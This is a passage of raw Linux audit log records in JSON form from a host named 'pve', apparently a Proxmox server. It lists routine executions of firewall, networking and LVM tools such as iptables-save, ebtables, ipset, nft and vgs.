nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255922,"@rawstring":"node=pve type=PATH msg=audit(1781965255.922:64830): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255917,"@rawstring":"node=pve type=PATH msg=audit(1781965255.917:64829): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255917,"@rawstring":"node=pve type=PATH msg=audit(1781965255.917:64829): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255911,"@rawstring":"node=pve type=PATH msg=audit(1781965255.911:64828): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255911,"@rawstring":"node=pve type=PATH msg=audit(1781965255.911:64828): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255904,"@rawstring":"node=pve type=PATH msg=audit(1781965255.904:64827): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255904,"@rawstring":"node=pve type=PATH msg=audit(1781965255.904:64827): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255896,"@rawstring":"node=pve type=PATH msg=audit(1781965255.896:64826): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255896,"@rawstring":"node=pve type=PATH msg=audit(1781965255.896:64826): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255892,"@rawstring":"node=pve type=PATH msg=audit(1781965255.892:64825): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255892,"@rawstring":"node=pve type=PATH msg=audit(1781965255.892:64825): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255890,"@rawstring":"node=pve type=PATH msg=audit(1781965255.890:64824): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255890,"@rawstring":"node=pve type=PATH msg=audit(1781965255.890:64824): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255889,"@rawstring":"node=pve type=PATH msg=audit(1781965255.889:64823): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255889,"@rawstring":"node=pve type=PATH msg=audit(1781965255.889:64823): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255887,"@rawstring":"node=pve type=PATH msg=audit(1781965255.887:64822): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255883,"@rawstring":"node=pve type=PATH msg=audit(1781965255.883:64821): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255883,"@rawstring":"node=pve type=PATH msg=audit(1781965255.883:64821): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255883,"@rawstring":"node=pve type=PATH msg=audit(1781965255.883:64821): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255875,"@rawstring":"node=pve type=PATH msg=audit(1781965255.875:64820): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255875,"@rawstring":"node=pve type=PATH msg=audit(1781965255.875:64820): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255869,"@rawstring":"node=pve type=PATH msg=audit(1781965255.869:64819): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255869,"@rawstring":"node=pve type=PATH msg=audit(1781965255.869:64819): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255863,"@rawstring":"node=pve type=PATH msg=audit(1781965255.863:64818): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255863,"@rawstring":"node=pve type=PATH msg=audit(1781965255.863:64818): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255855,"@rawstring":"node=pve type=PATH msg=audit(1781965255.855:64817): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255855,"@rawstring":"node=pve type=PATH msg=audit(1781965255.855:64817): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255849,"@rawstring":"node=pve type=PATH msg=audit(1781965255.849:64816): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255849,"@rawstring":"node=pve type=PATH msg=audit(1781965255.849:64816): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965254248,"@rawstring":"node=pve type=PATH msg=audit(1781965254.248:64815): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965254248,"@rawstring":"node=pve type=PATH msg=audit(1781965254.248:64815): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965254209,"@rawstring":"node=pve type=PATH msg=audit(1781965254.209:64814): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965254209,"@rawstring":"node=pve type=PATH msg=audit(1781965254.209:64814): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965252325,"@rawstring":"node=pve type=PATH msg=audit(1781965252.325:64813): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965252325,"@rawstring":"node=pve type=PATH msg=audit(1781965252.325:64813): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965252325,"@rawstring":"node=pve type=PATH msg=audit(1781965252.325:64812): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965252325,"@rawstring":"node=pve type=PATH msg=audit(1781965252.325:64811): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965252314,"@rawstring":"node=pve type=PATH msg=audit(1781965252.314:64810): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965252314,"@rawstring":"node=pve type=PATH msg=audit(1781965252.314:64810): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965252314,"@rawstring":"node=pve type=PATH msg=audit(1781965252.314:64809): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965252314,"@rawstring":"node=pve type=PATH msg=audit(1781965252.314:64808): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965247305,"@rawstring":"node=pve type=PATH msg=audit(1781965247.305:64807): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965247305,"@rawstring":"node=pve type=PATH msg=audit(1781965247.305:64807): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965247305,"@rawstring":"node=pve type=PATH msg=audit(1781965247.305:64806): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965247305,"@rawstring":"node=pve type=PATH msg=audit(1781965247.305:64805): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965247298,"@rawstring":"node=pve type=PATH msg=audit(1781965247.298:64804): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965247298,"@rawstring":"node=pve type=PATH msg=audit(1781965247.298:64804): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965247298,"@rawstring":"node=pve type=PATH msg=audit(1781965247.298:64803): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965247298,"@rawstring":"node=pve type=PATH msg=audit(1781965247.298:64802): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245838,"@rawstring":"node=pve type=PATH msg=audit(1781965245.838:64801): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245838,"@rawstring":"node=pve type=PATH msg=audit(1781965245.838:64801): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245835,"@rawstring":"node=pve type=PATH msg=audit(1781965245.835:64800): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245835,"@rawstring":"node=pve type=PATH msg=audit(1781965245.835:64800): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245834,"@rawstring":"node=pve type=PATH msg=audit(1781965245.834:64799): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245834,"@rawstring":"node=pve type=PATH msg=audit(1781965245.834:64799): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245831,"@rawstring":"node=pve type=PATH msg=audit(1781965245.831:64798): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245828,"@rawstring":"node=pve type=PATH msg=audit(1781965245.828:64797): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245828,"@rawstring":"node=pve type=PATH msg=audit(1781965245.828:64797): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245828,"@rawstring":"node=pve type=PATH msg=audit(1781965245.828:64797): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245819,"@rawstring":"node=pve type=PATH msg=audit(1781965245.819:64796): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245819,"@rawstring":"node=pve type=PATH msg=audit(1781965245.819:64796): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245810,"@rawstring":"node=pve type=PATH msg=audit(1781965245.810:64795): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245810,"@rawstring":"node=pve type=PATH msg=audit(1781965245.810:64795): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245801,"@rawstring":"node=pve type=PATH msg=audit(1781965245.801:64794): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245801,"@rawstring":"node=pve type=PATH msg=audit(1781965245.801:64794): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245793,"@rawstring":"node=pve type=PATH msg=audit(1781965245.793:64793): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245793,"@rawstring":"node=pve type=PATH msg=audit(1781965245.793:64793): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245785,"@rawstring":"node=pve type=PATH msg=audit(1781965245.785:64791): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245785,"@rawstring":"node=pve type=PATH msg=audit(1781965245.785:64791): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245778,"@rawstring":"node=pve type=PATH msg=audit(1781965245.778:64790): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245778,"@rawstring":"node=pve type=PATH msg=audit(1781965245.778:64790): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245773,"@rawstring":"node=pve type=PATH msg=audit(1781965245.773:64789): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245773,"@rawstring":"node=pve type=PATH msg=audit(1781965245.773:64789): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245767,"@rawstring":"node=pve type=PATH msg=audit(1781965245.767:64788): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245767,"@rawstring":"node=pve type=PATH msg=audit(1781965245.767:64788): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245759,"@rawstring":"node=pve type=PATH msg=audit(1781965245.759:64787): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245759,"@rawstring":"node=pve type=PATH msg=audit(1781965245.759:64787): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245753,"@rawstring":"node=pve type=PATH msg=audit(1781965245.753:64786): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245753,"@rawstring":"node=pve type=PATH msg=audit(1781965245.753:64786): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245743,"@rawstring":"node=pve type=PATH msg=audit(1781965245.743:64785): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245743,"@rawstring":"node=pve type=PATH msg=audit(1781965245.743:64785): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245735,"@rawstring":"node=pve type=PATH msg=audit(1781965245.735:64784): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245735,"@rawstring":"node=pve type=PATH msg=audit(1781965245.735:64784): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245730,"@rawstring":"node=pve type=PATH msg=audit(1781965245.730:64783): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245730,"@rawstring":"node=pve type=PATH msg=audit(1781965245.730:64783): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245727,"@rawstring":"node=pve type=PATH msg=audit(1781965245.727:64782): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245727,"@rawstring":"node=pve type=PATH msg=audit(1781965245.727:64782): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245725,"@rawstring":"node=pve type=PATH msg=audit(1781965245.725:64781): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245725,"@rawstring":"node=pve type=PATH msg=audit(1781965245.725:64781): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245725,"@rawstring":"node=pve type=PATH msg=audit(1781965245.725:64780): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245719,"@rawstring":"node=pve type=PATH msg=audit(1781965245.719:64779): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245719,"@rawstring":"node=pve type=PATH msg=audit(1781965245.719:64779): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245719,"@rawstring":"node=pve type=PATH msg=audit(1781965245.719:64779): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245709,"@rawstring":"node=pve type=PATH msg=audit(1781965245.709:64778): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245709,"@rawstring":"node=pve type=PATH msg=audit(1781965245.709:64778): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 